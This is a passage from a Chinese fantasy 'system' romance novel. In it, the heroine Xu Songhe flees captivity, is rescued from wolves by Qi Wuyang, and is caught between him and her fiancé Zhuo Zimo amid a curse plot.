她不死心地趴在窗边,屋内被烛火照得亮堂,外面却黑漆漆一片,似乎这里就只有这么一间房屋。 祁无恙呢?他去哪里了? 他要带她回的是哪个家?如果是记忆碎片里看见的那个,那他一定是在说谎!这地方根本就不长那样。 一股冷意倏地从背后直窜上来——他不会是认定了自己背叛他,想要放任她在这里自生自灭吧? 想到这,她急得在屋里踱来踱去,奈何始终想不到办法。眼下祁无恙把屋门都锁上了,出也出不去,徐颂禾干脆坐到榻上,自从那什么咒发作了之后,她已经整整两天没休息好了,这会眼皮都在打架。 正要躺下,系统疯狂的提示音忽然在耳边响起∶“宿主别睡啦,检测到攻略对象好感度减十,目前好感度为七十五。” 什么东西?! 方才那一点朦朦胧胧的睡意顷刻间消散,徐颂禾腾的一下直起身来,问道∶“为什么呀?怎么就突然减了这么多?” 系统也表示无奈∶“由于宿主不告而别,卓子墨误认为你还对祁无恙念念不忘,抛弃了他,所以……” 听完这句话,徐颂禾顿时觉得连阖眼的力气都没有了。 这都哪跟哪儿?大婚之夜新娘子不见了,正常情况下不应该赶紧找人吗?降好感度算怎么回事? 她生无可恋∶“那我现在该怎么办?” “最好的办法就是宿主现在立刻找到卓子墨,和他解释清楚。” “……你认真的吗?” 它能给点有用的建议吗? 徐颂禾有些无语地走到窗边,伸手一拉∶“现在门都被锁上了,我还怎么……” 一语未完,那窗户忽地发出“吱呀”一声,跟随她的手夸拉一下打开了。 “……” 呼呼的凉风灌进来,直到鬓边的发丝一缕缕被吹动,她才终于相信自己真的这么容易就把窗给打开了。 但就算这样,她也不清楚流云宗的方向在哪,这么贸然出去,恐怕会迷路的吧? 系统安慰她∶“我会自动保存宿主所去过的地方,宿主放心去吧,我能指引正确的方向。” 现在好像也只能相信它了,总不能这种事也骗她。犹疑了一两秒后,徐颂禾一手撑着窗框,翻身跳了出去。 拜拜了您,再也不见! 还想利用她去完成他的什么千秋大业,先困得住她再说吧! 她拿走那支蜡烛,借着微弱的光,深一脚浅一脚地往前走。 夜晚的风很大,她抬手护住蜡烛,尽量不让它被吹灭。 四周寂静得可怕,只有风吹过树林的呜咽声,徐颂禾突然后悔选在这个时候出来了——反正窗没关紧,干嘛不等到天亮再走? 隔了一会儿,她又安慰自己∶才离开一小会儿,卓子墨就对她起疑,好感度降了这么多,要真等到第二天,还不得从零开始了? 想到这,回家的动力又驱使她加快了脚步。然而,脚下的路越来越崎岖,树影幢幢,如同张牙舞爪的鬼魅,不知何时出现的一截树枝将她一绊,手中蜡烛晃了晃,那烛火便熄灭了几分。 她心头一惊,急得自语道∶“小蜡烛,你可要坚持住呀,没了你我可就真的走不出去了。” 估摸了一下系统给的地图,约莫还要走上一个时辰,等到了附近的小镇,她便有机会借到一匹马车,到时赶去流云宗就快速多了。 刚有了些动力,忽地,一阵阴冷刺骨的风毫无征兆地从林间深处卷来,伴随着阵阵浓郁的血腥味。 “什、什么东西?” 呼吸霎时变得急促起来,徐颂禾忐忑地望向四周,正庆幸是不是自己的错觉时,却蓦地和一道绿幽幽的光对视上了。 “检测到异常,宿主快跑!” 身体的本能令她没有一刻犹豫地转身便逃,几乎是在同时,一道高大身影从灌木丛中一跃而出,着地时,四肢震起的尘土比半截树干还高。 是野狼,还不止一只! 徐颂禾根本不敢回头,慌不择路地一个劲往前跑,可身后的嘶吼声却越来越近,仿佛下一瞬那尖锐獠牙便会刺穿她的后颈。 莫大的恐惧如密云般压下来,令她辨不清方向。脚下忽地一滑,她手忙脚乱地想去扯上方的藤蔓,可已是来不及。下一瞬,整个人重重往前一扑,沿着湿滑的斜坡一路滚下去。 天旋地转间,尖锐的石子和枯枝划破衣衫和皮肤,后背狠狠撞在一截粗壮的树根上,震得她五脏六腑都跟着一颤,眼前直冒金星。 手中蜡烛早已扑灭,眼前顿时陷入伸手不见五指的黑暗。 徐颂禾咽下一口血沫,扶着树干想站起来,双腿却直发软,迫使她又瘫倒下去。 系统声音着急∶“宿主别放弃!用刀和它们搏一搏,还有希望!” 她低头看了看凭空出现在手中的刀,疼得压根握不住它。不知是不是那咒术又发作了,叠加起来真是差点要了她的命。 死就死吧,她是真的站不起来了。 徐颂禾几乎放弃了挣扎,绝望地看着周围的一片绿光,清楚自己就算起来了也跑不掉。 不远处的野狼嘴里不断淌出口水,前肢摩挲着地面,似乎随时有可能扑上来攻击她。 她闭了闭眼,默默祈祷∶“你要是真想吃我,就咬得准一点,最好第一下就让我死……” 话t音落下,一声长啸将她的心脏狠狠提了起来,徐颂禾蜷缩成一团,都快要喘不上气了,意料之内的疼痛和死亡却都并未袭来。 怎么回事?难道它突然转性,不打算吃自己了? 半晌,她小心翼翼地睁开一只眼,那只野狼却不知到哪里去了,四周归于寂静,像是只有她来过。 她如蒙大赦,落下泪来。正疑惑那群狼为什么会突然放过自己时,一声轻笑忽地轻飘飘传入耳中。 目光触及之处,少年一袭红衣似乎将周围的黑暗都衬得亮了,他翘着唇凝视她,周身的杀意渐渐褪去。 “你……” 她跪坐在地,仰头看着他,月光把她的眼里的泪花照得亮晶晶的,模样可怜极了。 祁无恙心头莫名被什么刺了一下,唇边那点若有似无的笑意淡了下去。 她说∶“我走不动了。” 他目光微微一动,落在她肿胀的脚踝上。 徐颂禾垂下脑袋,抹了抹溢出眼角的泪。 好丢脸……又让他看到自己掉眼泪了。 余光蓦地落下一道身影,少年在她面前蹲下,还不等她反应,便被人轻轻背了起来。 这一下来得突然,徐颂禾将那一声惊呼咽在喉咙里,迟疑地伸手环住了他的脖颈。 他脚下步伐微不可察地一顿,随后淡淡地问∶“去哪?” 能活下来已经很好了,刚刚摔那一下,更让她失去了所有力气。徐颂禾把脑袋软绵绵地贴在他后背,隔着衣料传出来的温度莫名令她心安。 她吸了吸鼻子,说话时还带着鼻音∶“都……可以。” 今天是走不了了,再过个几天,好感度不知道又会怎么样…… 奔波一年,算是白忙活了,离回家还是那么遥不可及。徐颂禾禁不住悲从中来,加上这几日一直没休息好,又被这么一吓,她打了个呵欠,用余下的一点力气,小声问∶“祁无恙,我能睡会吗?” “……随你。” 过了不知多久,那双抱着他的手放松下来,他回过目光,少女轻阖着眼,清浅的呼吸洒在他耳畔。 她问完那一句便已经睡着了,少年不动声色地放缓脚步。这一次醒来,总不能再嚷嚷着要杀她之类的话了。 * 原本喧闹喜庆的流云宗,仅仅过去半个时辰,气氛便陡然变得肃杀紧绷。 大殿之外,红烛高烧,映照着一张张清秀的脸。数十名女弟子被匆匆召集,站成几排,目露惶恐,不明白为何突然如此大阵仗。 遭受到来宾带着鄙夷的打量,卓不凡气红了脸,咬牙切齿地道∶“子墨,大婚之夜未婚妻抛弃你去寻那妖孽,你不杀她就罢了,还把此事怪罪在众弟子身上,闹出这么大阵仗,是要把我流云宗的脸面都丢尽吗!” 这话声音不小,在场弟子听得一清二楚,面色皆褪得苍白,纷纷道∶“大少主,这徐姑娘不见了可和我们没有关系啊,你可不能随随便便给我买们定罪。” “是啊大少主,师兄们一直守在门外,根本没人来过,说不准就是她临时反悔,不想成这个婚了……” 话未出口,旁边的人用手肘捅了她几下,那女弟子便立刻住口不言了。 卓子墨脸色亦不佳,闻言冷哼一声,眼神从众人身上扫过∶“徐姑娘是什么样的人我最清楚不过,更何况,她是我的未婚妻,还轮不到旁人议论。” “我生你养你,现在倒成了旁人?”卓不凡压下动手的冲动,强颜欢笑地朝向众宾客,拱手道∶“犬子年少不经事,一时糊涂,让诸位见笑了。今夜婚宴暂且延后,还请诸位移步偏厅稍作歇息,我流云宗自有好酒好菜款待。” 说罢,又扫向女弟子,道∶“你们也散了。” 人群一散,卓不凡的脸色彻底黑了下来,方才碍于颜面未说出口的话此刻也已经到了嗓子眼。他大步走到身着喜服的人面前,沉着声道∶“你闹够了吗?早知如此,我就不该准你同那丫头成婚。” 卓子墨没有看他暴怒的父亲,而是疲惫地抬起眼,道∶“是孩儿思虑不周了,只是若父亲要惩罚,也请等到三日之后。” 他不是没想过今日的结果,于是早就在房内布下了留息香,只要抓出沾有气息之人,便可逼问出祁无恙的下落。 上回论剑大会时,那妖孽主动找上门来,自己便已将他的底细探查得一清二楚——此前以为他还想十年前那般,一人可抵千军,没成想他不知受了什么伤,灵力竟还不足从前的三成。即使能应付得了这许多弟子,也撑不了太久,待他灵力耗尽变回灵体后,再趁机取其性命。到那时,阿禾自然会回来和自己重新在一起,父亲也能名正言顺地将宗主之位传下来。 卓不凡不知他心中所想,闻言怒气更甚∶“三日?你还想做什么?还嫌不够丢脸吗?!” “爹,您就这么不愿相信我吗?”他打断对方的话,淡声道∶“三日之后,我必能提着那妖孽的尸首来见您。” 头顶上方蓦地传来一声大笑,两人一齐抬首,便见一黑衣人从屋檐上纵身跃下,一块黑面纱将半张脸遮得严实。 “单凭你们一己之力,只怕去了也是送死。” 卓不凡神色不悦,自己的儿子自己骂骂也就罢了,怎么能让外人来指指点点?于是闷声道∶“敢问阁下何人?我流云宗也不是什么下三滥的门派,‘送死’二字是否太过了些?” 那人哼了一声,冷冷道∶“我知晓祁无恙的软肋,不如我们合作,叫他尸骨无存。” 第59章 算不算喜欢 “你……” 卓子墨伸手制止住他的动作, 用揣摩的眼光看向黑衣人,道∶“哦?这位道友何出此言?在下也知这妖孽并非什么等闲之辈,只是你如何肯定, 多了你一个, 我们便能顺利将他铲除?” 说罢, 他视线一滑,看见对方黑袍遮掩下的道道伤疤,不由得一惊∶“你……你这是……” 卓子墨这时才注意到, 他方才从屋檐上跃下的动作算不上敏捷, 甚至可以说是笨拙, 走路时也一瘸一拐的,像是受了极重的伤。 黑衣人闻言稍作沉默, 随后抬手揭开了脸上的面纱。 那张脸扁得像是被车轮压过一般,纵横交错地遍布着疤痕, 他一皱眉,这些疤便几乎要挤到一块去。 眼看就要成功, 未料到竟让那丫头给跑了,祁无恙半道出尔反尔, 要把自己抓去陪葬, 害得他险些死在自己布置的阵法里。 他闷哼一声,声音满是怒气∶“我如今这样,都是拜他所赐。那妖孽作恶多端, 阴险狡诈, 我比你们更希望他死。” 这话被咬牙切齿地说出来, 含着满腔愤怒。卓子墨微微皱眉,上下扫视对方一番,没有什么怀疑便相信了他。 “照你方才的意思, 是有办法杀了他?”卓子墨思索片刻,道∶“‘软肋’指的又是什么,不知能否请阁下细说。” 黑衣人不语,只目露凶光地看了一旁的卓不凡一眼,接着又暗示般地叹了口气。 卓子墨立刻心领神会,拱了拱手,道∶“孩儿冒犯了,爹,还请您稍作回避。” 谈论大事却故意让自己回避,这对他来说无疑是莫大的羞辱。卓不凡气得五指紧攥成拳,但事关重大,此刻他也只得咽下口气,拉下脸为他们二人腾出地方。 卓子墨皮笑肉不笑地看着对方,心中也有不快,因此说话便没那么客气∶“道友既看不起我流云宗,又何必来寻求合作?你有天大的本事,不如自行了却和那妖孽的仇恨。” “这位小少主误会了,我并没有别的意思。此事知道的人越少越好,我也是怕隔墙有耳。”黑衣人却故意装作听不出他的赶客之意,笑道∶“小少主谦虚了,若凭我一己之力就能与他抗衡,也不至于被伤成这样。” 他停顿片刻,换了一副严肃的神色,神秘兮兮地道∶“小少主还想知道我有什么法子让他尸骨无存吗?” 卓子墨显然已失去耐心,冷声道∶“你愿意说就说,不愿意说,就请速速离开。” 黑衣人也不恼火,反倒嘿嘿一笑,道∶“那妖孽身上有我下的咒,每月都会发作一次,发作时五内如焚,灵力大损,痛苦不堪。” 他一愣,原本不屑的脸上浮现出一丝惊诧——难不成那时祁无恙变成灵体之身,是因为对方口中的咒? “这就是你说的软肋?”卓子墨皱起眉,狐疑道∶“你既然无法与他抗t衡,又是怎么对他下的咒?” “这你就不必问了,”黑衣人摆了摆手,显然不欲多谈下咒的细节,“我只说这么多,你若相信,便与我合作,若不信……哼,那就看着你的好师兄妹们白白去送死吧。” 这话似根毒刺,猛地扎进他心头,驱散了方才的疑虑。卓子墨脸色倏地一白,袖中五指攥成了拳,“你想如何?” 黑衣人见他终于有所动摇,压低声道∶“只要杀了他身边的那位丫头,或是把她抓来,便可彻底乱他心神,令他灵力失控,不攻自破,到时便可……” “住口!” 卓子墨瞳孔骤缩,猛地后退一步,愤怒的眼神扫向他∶“此事没有商量的余地,阿禾是我未婚妻,我卓子墨绝无可能拿她的性命去做这等肮脏的交易。” 对方愣了愣,旋即扯出一个笑容安抚他∶“别急,这不过是一个引子罢了,至于那位姑娘真死假死,当然由小少主你说了算。” 卓子墨领会过来,眼中怒意逐渐消散,取而代之的是深深的沉思。 他喜欢阿禾,那就不该利用她…… 可如果不这样呢?黑衣人说得没错,他不能再眼睁睁看着弟子们平白无故送死。 他良久地沉默下来,黑衣人似是等不及了,又道∶“你的未婚妻现在还在仇人手上,难道你不想救她吗?别怪我没提醒你,祁无恙对她可是有那方面的心思,如果哪天她的清白之身被毁……” 这些话听起来实在刺耳,卓子墨黑下脸,沉声道∶“够了!我答应你,只是无论如何不能伤害阿禾。” 他也是实无他法才会如此,阿禾应当……不会怪他的。等除了妖孽,他一定许她一个完整又盛大的婚礼。 * “攻略任务已完成,欢迎宿主返回现实世界。” 她终于可以回家了? 少女小心翼翼地睁开眼,周围的景象一点点消失,只剩下系统为她开启的时空隧道。 狂喜如同洪水般冲垮了所有疲惫、恐惧和复杂难言的情绪,只要能回家,这些天所经历的一切都是值得的。 徐颂禾没有一丝犹豫地踏上去,过不多时,她便出现在了自己最熟悉不过的家里。 熟悉的天花板,温暖的灯光,空气中还飘散着阵阵饭菜香。徐颂禾抬起眼,一个穿着围裙的背影便出现在视线中。 “乖女儿今天要回来了,难得放一次假,给她炖些排骨汤补补。” 鼻子忽然一阵酸涩,徐颂禾眨了眨眼,确认眼前的不是幻觉后,快步上前去抱住了她。 “妈妈……” 听出她声音里的哭腔,对方放下锅铲,转过身来抱着她,柔声道∶“怎么啦?是不是在外面受委屈了?谁敢欺负你,你告诉妈妈,妈替你收拾他去。” 那委屈可太多了,一路上都不知道流了多少次血,掉了多少次眼泪。 她破涕为笑∶“没关系的,我只要和妈妈在一起就好了……” 徐颂禾仰起头,面前的妈妈却消失不见了。 她一怔,赶紧朝四下里看去,几声呼唤后,回应她的只有一圈圈回音。 身子蓦地一阵冰凉,胸口处像压了块大石般的窒息感令她从美梦中被拉回,方才所有温馨的景象尽皆破碎,取而代之的是冰冷刺骨的海水。 “唔……救、救命……” 徐颂禾慌乱地伸手拍打着浪花,就在她以为自己快要溺死时,一只冰凉的手忽地横空伸出,握着她手心把她拉了上来。 她颤巍巍地抬眸,对上少年漆黑的眼瞳,那双眼眸深不见底,仿佛一个危险而又引人的漩涡,就要将她吞没。 他粗暴地擦去她脸上那海水和泪水交织在一起的湿痕,扣住她后背将她揽进怀中,可他身上的温度比那海水还要冷。 “看清楚了么?这里只有我,”少年微微笑着,在她难受得呛出一口咸涩的海水时,才不紧不慢地抬起手抚过她身体,像在安抚终于示弱了的猎物,“你能依赖的,从始至终都是我。别再想着逃了,除非……你想让他们都去死。” 徐颂禾筋疲力竭地瘫倒在他怀里,凭着最后一丝理智,伸手想把他给推开,却是徒劳无功。 “你放开我……我要回家……” 她抬手胡乱一挥,不知碰到了什么,紧接着便听见一道清脆的声响。 徐颂禾猛地坐起身来,手指紧紧攥着身下的被褥,冷汗将她额前几缕头发都浸湿了。 稍稍缓过劲来,她僵硬地别过头,看见地上东一块西一块地躺着陶瓷碎片。 “做噩梦了?” 她抬眼看过去,只见少年正抱着双臂,垂眸淡淡地看着自己。 那东西是被她打碎的? “对、对不起……” 徐颂禾起身想下床收拾,可身上的疼痛仍未缓解——她想起来了,昨晚逃跑失败,被他背回来之后,自己就失去了意识。 他却十分娴熟地弯下腰,将那些碎片一块块拾起,也不怕被划伤了手。 “把药喝了。” 瞥见桌上另一盛着棕色浑浊物的碗,徐颂禾转过脸,嫌弃地说∶“都是小伤而已,我不想喝……” 手上忽然一沉,他已经不由分说地把那只碗塞到了她手心里,半是威胁地说∶“你还想活吗?” “……我喝总行了吧?” 那东西丑得不堪入目,她只好认命地憋住气,一口气全喝了下去。 手心里传来冰凉的触感,徐颂禾睁开眼,看见一颗冰糖静静躺在上面。 她把糖送进嘴里,甜味便在唇齿间蔓延开,“你什么时候买的糖果呀?你不是不喜欢吗?” 祁无恙拿过那只碗,淡淡道∶“随便买的。” 她偏过头,盯着他看了很久。 这双眼睛怎么总是那么好看?她想象不出,等他找回自己的身体后,该有多颠倒众生。 这个人从前动不动就说要杀她,可细细想想,每一次遇到危险,来救她的总是他。 徐颂禾开始相信或许那天真的只是个误会了,可是没办法,她是要回家的,他们终究不是一路人。 “能问你个问题么?” 徐颂禾还沉浸在自己的世界里,冷不丁听见这么一句,眼睛都微微睁大了。 “你、你说。” 他这是怎么了?突然间用这种语气说话,她还真不习惯了。 少年微微俯身,目光落到她脸上∶“我现在每时每刻都想见到你,想和你在一起,不想看见你和那只死兔子待在一处……” 那灼灼的目光烫得她不由自主地朝后缩了一下,可对方扣住她手腕,不容拒绝地又将她拽了回来。 “用你教过我的话来说,这算不算喜欢?” 第60章 “跑这么急,是要去哪?…… 完全没想到他会突然问出这么一个问题, 徐颂禾呼吸微微一滞,少年已经半跪下来,以一种仰望的姿势看过来。 “我……” 她攥了一下裙裾, 有些不自然地别过脸, 不敢直视他的双眼。 “不能算的, 这根本就不是喜欢,你只是习惯了我跟在身边,无条件地和你站在一起。现在我不在了, 你有了落差, 所以想控制我而已。” 徐颂禾说完, 深吸了一口气,试图让自己平静下来。 良久的等待却换来了意料之外的答复, 少年微微一怔,眼里短暂地划过一丝错愕。 他对“喜欢”的理解十分模糊, 这些情感都是她教给他的,倘若她没有出现, 将永远不会有人对他说这样的话,他也不会对任何人说起这个词。 但现在看来, 他好像还是没有学会。 “是这样吗……”他喃喃自语, 旋即带着固执地抬眸看向她,“那什么样才算喜欢?” 徐颂禾一时有些头大,她不知道该怎么回答这个问题——他如果是在一个月前这么对她说, 她或许会眼睛亮亮地给他一个拥抱, 可是现在…… 她思量半晌, 最终摇了摇头,说∶“你想想,如果我昨夜真的死在那些野狼的手下了, 你会难过吗?” 不待他回答,她便又自顾自地续道∶“你不会的,你去救我,只是因为不习惯我的离开。如果你真的喜欢我,就不会忍心给我下咒,看着我那么疼却无动于衷了。” 他眼里的光微微晃动,随后彻底熄灭了∶“可我没有想伤害你……” 系统的提示音这时疯狂在脑海内回响∶“检测到宿主情绪出现波动,请宿主认清攻略对象,不要对书中无关人物产生t感情。” “好了好了,不要再说这个了,”徐颂禾被吵得头疼,抬手揉揉额头,只想赶紧搪塞过去∶“你就这样把我带走了,不怕卓少主来找你吗?” 又是他…… 少年默然半晌,她抬起手时,衣袖恰好沿着手臂垂落,露出白皙的手心,其上那朵殷红的花猝不及防刺痛了他的眼。 祁无恙眸色骤然黯淡,他扯过她的手,语气阴森∶“你看见过谁?” 她一下子懵住了,不明白他在说什么。 “你在那幻境里,都看见了谁?” 什么乱七八糟的,这家伙又在说些什么?徐颂禾莫名其妙地看着他,说道∶“我根本不知道你在说什么……” 刚一开口,她便忽地顿住了,接着说出的话好像不受自己控制一般,被迫出声道∶“是……是小白……” 他手上动作一僵,全然未料到会是这个答案。 “是么?” 祁无恙缓缓松开禁锢着她的手,唇角扬起一个意味不明的弧度,那笑意却分毫不达眼底。 还有她的家人……徐颂禾硬生生把这句憋回去了,生怕他又逼问自己“家人”是谁。 “你……你怎么了?” 她想起来他指的是什么了,不过他为什么突然问这个? 徐颂禾低头看了看自己手上的印记,不明白这朵花有什么寓意,只知道面前这人脸色又不太好了。 她下意识想后退,他却“嗬”地低笑一声,缓缓直起身,居高临下地睨着她∶“你喜欢卓子墨?” 徐颂禾感到浑身被一股戾气围拢着,微微蹙了蹙眉,只好小声嘟囔∶“我喜不喜欢他,都和你没有关系……” “和我没关系?” 他沉着脸,指尖微不可察地颤抖着,也不知是不是被气的,“若没有我,你当初就该死在那群妖手里。现在说和我没关系,是不是太晚了?” 徐颂禾从没见过他这副样子,仿佛下一瞬就能手撕了她。她只好忍着脚踝处的疼痛,站在床上平视他,双手按住他的肩膀,“好了好了,你先坐下。你不要生气嘛,我就是随便说说……那我和你道歉行不行?” 少年身体微微一僵,那双黑沉沉的眼里翻涌着她看不懂的情绪。他凝视向她近在咫尺的脸,冷冷一哂∶“道什么歉?我劝你把逃跑的念头收回去,毕竟你这辈子都不可能再见到他了。” 祁无恙说罢,脸上血色蓦地褪去。他不动声色地抬袖拭去唇边溢出的血渍,像是什么都没有发生过一般。 “好吧好吧,那就不见,”徐颂禾觉得眼下得先稳住他的情绪,于是岔开话题∶“我有点饿了,你这里有没有能吃的东西?” 她也没撒谎,从去到流云宗开始就没怎么吃过东西,到现在都已经三日了。 为了打消他的怀疑,她又摊开了手,手心里还隐隐有些血痕∶“你看,我身上的伤还没好,不会跑的。” 然而他什么也没说,只默默地转身离去,再回来时,手上多了一包用油纸草草包着的东西,和一只盛满清水的粗陶碗。 他把这些推过去,白色的馍从中露出来∶“只有这些了。” “够了够了,谢谢你。”她捧着白馍馍,小口小口地吃起来。 “对了,能不能和你商量个事……”她顿了一下,伸出手来∶“这个东西疼得我难受,你可以不可以把它给解了?” “不能,”祁无恙微微一笑∶“你只要不离我太远,就不会疼。” “……” 她不再挣扎了,不知是不是因为太久没进食,吃了几口便咽不下去了,便把它搁置在了一旁的桌上。 “不喜欢?”他问道。 “没有没有,我只是……” 他视线落到她脚踝上,道∶“还能走吗?” 徐颂禾愣了一下,不明所以∶“应该……能吧?” 他淡淡地说∶“外面总有你喜欢的。” 他这是……要带她出去?徐颂禾立马开心起来,疯狂点头∶“我能走的,你放心吧。” 祁无恙瞥了她一眼∶“不去流云镇。” “……听你的吧。” 在这待了两天都快憋死了,只要能离开,哪怕只是到外面呼吸一口新鲜空气,她也是很愿意的。 屋外的天亮堂堂的,徐颂禾走出门,这才真正看清了外面的景象。 这里和记忆碎片中所看见的几乎没差,她打量着周围,屋舍林立却又破败不堪,这个地方除了他们外,或许已经没有活人了。 她一下子就注意到了偏僻角落里的那口井,再一抬眼,面前忽地浮现出少年清瘦的身形。他脸上落了灰,满眼的失落。 “我只有你了,可为何你却突然不喜欢我了,也要抛下我?” 徐颂禾心脏一揪,飞快地眨了下眼,那地方便没人了。 她回过头,碰上少年略带探究的目光∶“怎么了?” “没、没怎么。” 徐颂禾一路跟着他,她脚上的伤还没好,走路时还有些疼,不过没关系,反正现在也不用担心他会扔下自己,真扔下了她还能趁机溜走。 想到这,徐颂禾故意放慢了脚步,等前面的人停下来回头看她时,才撇撇嘴说道∶“我走不快呀,要不你先走?” 他静默片刻,折返回来站在她面前,笑着说∶“不如别走了,挑一根喜欢的。” 徐颂禾往地上一看,那里整整齐齐地摆了几截树枝。她忽然想起在余百岁镇上时的事,赶紧把它们踢开,干巴巴地说∶“不、不用了,我自己可以走。” 她可不想再骑着一截木棍飞来飞去了,而且照他现在这个状态,万一心情不好给她摔死了可怎么办。 祁无恙没有再说话,只是这一回也放缓脚步,候着她慢吞吞地跟上来,和自己并排走着。 徐颂禾没想到这地方附近竟然真的有一个镇子,她好奇地左看右看,视线从那些摊贩上一一掠过。 “喜欢哪个?” 她回过神来,奇怪地问∶“你身上有钱吗?” 这家伙该不会打算抢吧? 他伸手入怀,从袖中取出一枚银子,“够吗?” “……” 徐颂禾接过那银子看了看,果然是真的,不禁感到惊讶∶“你哪儿来的钱呀?” 他没回答,只将方才的问题又问了一遍∶“想要什么?” 其实倒真没什么短缺的,她刚要拒绝,忽然间目光一凝,落到挤满人的一家店铺里,随口说道∶“就那个吧,不过我挤不进去,你可以帮我买吗?” 说完眨了下眼,满是期待地看着他。 “在这里等我。”他顺着她的视线看去,随后转身走入人群。 视线里那抹红色消失了,徐颂禾咽了咽干涩的喉咙,试探着往后退去,然而像之前那样的疼痛并没有出现。 她松了口气,现在已经看不见那家铺子了,说明自己和祁无恙也保持了足够的距离,那个什么咒却没有再来折腾她,是不是就说明,只要有机会,她就随时可以走了? 镇上人头攒动,一条条小巷交错纵横,她的心跳莫名加快起来——如果现在逃走,他会发现吗? 正踌躇间,背后蓦地探出一只手,捂住她的唇,毫无征兆地将她拉了进去。 “阿禾,是我。” 按在唇上的手缓缓移开,徐颂禾睁开眼,诧异地看着来人∶“小白?你为什么会在这里?” 见她平安无事,卓子墨紧绷的神色终于松缓下来,笑道∶“自然是来寻你。” 察觉到她的紧张,他放低声音,道∶“这里有不少我们的人,阿禾不必害怕。” “可……你是怎么知道我在这的?” 卓子墨微微一顿,旋即握住她的手腕∶“此事说来话长,我先派人送你回去,再来对付这妖孽。” 他理所当然地转身想走,却没拽动她。 徐颂禾迟疑地挣开手,在对方不解的眼神下,摇了摇头∶“不行的,祁无恙要是发现我不在了,一定会找过来的,你打不过他……” “警告,好感度出现动摇,目前进度仅有七十五,请宿主当心。” 不是,她就好心提醒,怎么这也有降好感度的风险啊?难不成要看着攻略对象送死吗? 徐颂禾赶紧改口∶“我、我不是不愿意和你走,只是他的实力你也是见过的,你们虽然人多,但也未必是他的对手。” 卓子墨拧起眉,道∶“你是我的妻子,我又怎可眼睁睁看着你落到仇人手里而不顾?今日不论如何,我都要带你走。” 她没办法了,只好推了他一下,急道∶“他暂时不会对我怎么样的,而且,我被他下了咒,离开他就会死。你还是快走吧,留得青山在,不怕没柴烧。” 毕竟能亲眼确认攻略对象还好好的,就已经很让t她心安了。 卓子墨立刻牵起她的手,满脸自责∶“都是我不好,若前几日大婚能成,你也不用再受那个王八蛋威胁。” 她心说恐怕成了婚也无济于事,但眼下不是解释这个的时候,只得把他推远了些∶“小白,我很开心你能来救我,只是现在还不到时机,你快带着他们走吧,别让他发现了。” 他神色落寞,却也深知即便走也走不远,到时连累了阿禾和众弟子可就罪孽深重了。 “阿禾再等我两日,待我想出对付那妖孽的办法,就回来救你!” 见他终于离开,徐颂禾悬着的心放了下来,她回头看向来时的方向,心道祁无恙恐怕很快就会发现自己不在,需得快些赶回去才行。 她转过身,但周围的人实在太多,挤了半天也没能走出小巷。余光瞥见躲在屋檐上恋恋不舍地看着自己的人,她还顺便抽出手朝他挥了一下子。 来不及了,要是被他误会自己想跑,后面再想出来可就难了。徐颂禾一咬牙,忽略掉脚上的伤,快步朝原来的地方奔去。 然而就在巷子尽头的光亮越来越近时,一道阴影忽然从头顶笼罩下来,她还未来得及看清,便听见“砰”的一声,那朝她砸落下来的水缸应声破裂,里头的水哗哗在她脚下蜿蜒开来。 “跑这么急,是要去哪?”《 》 60-70 第61章 徐颂禾骤然怔住, 目光缓缓上移,便见少年正抱臂站在离她几步远的地方,唇角微微勾着, 眼里却没有笑意。 她不着痕迹地飞快朝屋檐瞥去一眼, 看见那里已经没有人影后, 才放下心来,支支吾吾地说∶“没、没去哪,我刚才不小心迷路了而已。” “是吗?”他抬袖随意将那些碎片撇到一旁, 踱步朝她走近, “腿伤好了?” “应该……快了。” “跑这么快, 不怕摔么?”说话间,他已经不紧不慢地走到了少女身前, 一袋青团被送到她面前,“不是想吃这个吗?” 徐颂禾看着吊在他指尖的东西, 微微一愣,旋即赶紧接过它∶“你真的去买了呀?” 他略一蹙眉, 眼中露出不解∶“你以为我是做什么去了?” “没有没有,”见他并未发现, 徐颂禾开心地弯了弯眼睛, 说道∶“那我们回去吧。” 她拉了一下他的手,却没拉动。抬起眼时,那波澜不惊的眸子正静静注视着她。 “你方才在和谁打招呼?” 徐颂禾心脏猛一咯噔, 嘴角笑容都险些挂不住了。 她花了两秒强压下心头的惊慌失措, 故作镇定地说∶“没有谁啊, 你肯定是看错了。” 祁无恙不知朝什么方向扫了一眼,淡淡笑道∶“只要你不再想着逃,我当然可以当成是我看错了, 可惜他们应该不会同意。” 谁们? 没等她琢磨明白这话里的意思,蓦地有几道带着杀气的身影飘飘然落下,手腕让人一拽,她便已经被拉到了少年身后。 看清来人后,她瞳孔微微一缩,只想立马晕倒过去。 他刚才不是走了吗?这个时候又回来做什么? 卓子墨手执长剑拦在他们面前,身后跟随一众弟子,一时杀机四起,周围路人见了这场面,纷纷吓得躲进屋去,闭上了门。 他冷哼一声,视线直勾勾盯着后方的少女∶“祁无恙,你搅乱大婚,打伤我流云宗诸多弟子,还在众目睽睽之下劫走我未婚妻,今日我势必不会放你活着离开!” “前两件我认了,不过这第三件……”白花花的剑尖直指胸膛,少年却丝毫不将他放在眼里,而是微微侧目望向身后的少女,“阿禾,你说他说的对吗?” 这怎么又扯到她身上了?徐颂禾不太敢回答,她小心翼翼揣摩着他的神情,悄悄朝对面的人使了个眼色。 祁无恙现在看上去心情不错,如果他识相点现在就走,应该还不至于打起来。 然而他不知是不是没有看懂她的意思,依然保持着那个姿势,甚至还因对方的轻蔑而恼怒地冷笑了声∶“祁无恙,若换作从前的你,我或许还会忌惮三分,但现在……” 卓子墨故意停顿,侧身让开,一黑袍蒙面人便在众弟子的注视下,迈着缓慢的步伐走上前来。 面纱之上,那双混浊的眼睛上下打量着他们,随后扯了扯脸上的肌肉,沉沉地道∶“毒咒发作时的滋味不好受吧?真是辛苦你忍受了这么多年,不过不要紧,你只需乖乖将灵脉交出来,我即刻便可帮你了却这痛苦。” 徐颂禾微微一惊,转头朝少年看去,他神色依旧如常,仿佛现下被围攻的不是他一般。 她一下就认出了这就是要拿她去炼什么阵法的扁平脸,不过他究竟是什么来历?为什么会知道祁无恙身上的咒? 自己和他相处了那么久,如果不是系统,连她都不会知道此事。 “阿禾,快过来,”卓子墨见她愣在原地,不由焦急地催促道∶“这妖孽已是强弩之末,今日我便杀了他,替你解咒。” 徐颂禾没有立刻回应,而是迟疑地抬起头,默默观察祁无恙的反应。 “哦?你清楚她中的是什么咒么?”祁无恙微微一笑,幽幽道∶“她既说过要陪我一起死,便要说到做到。” 卓子墨握剑的手一颤,转头用难以置信的目光射向一旁的扁平脸。 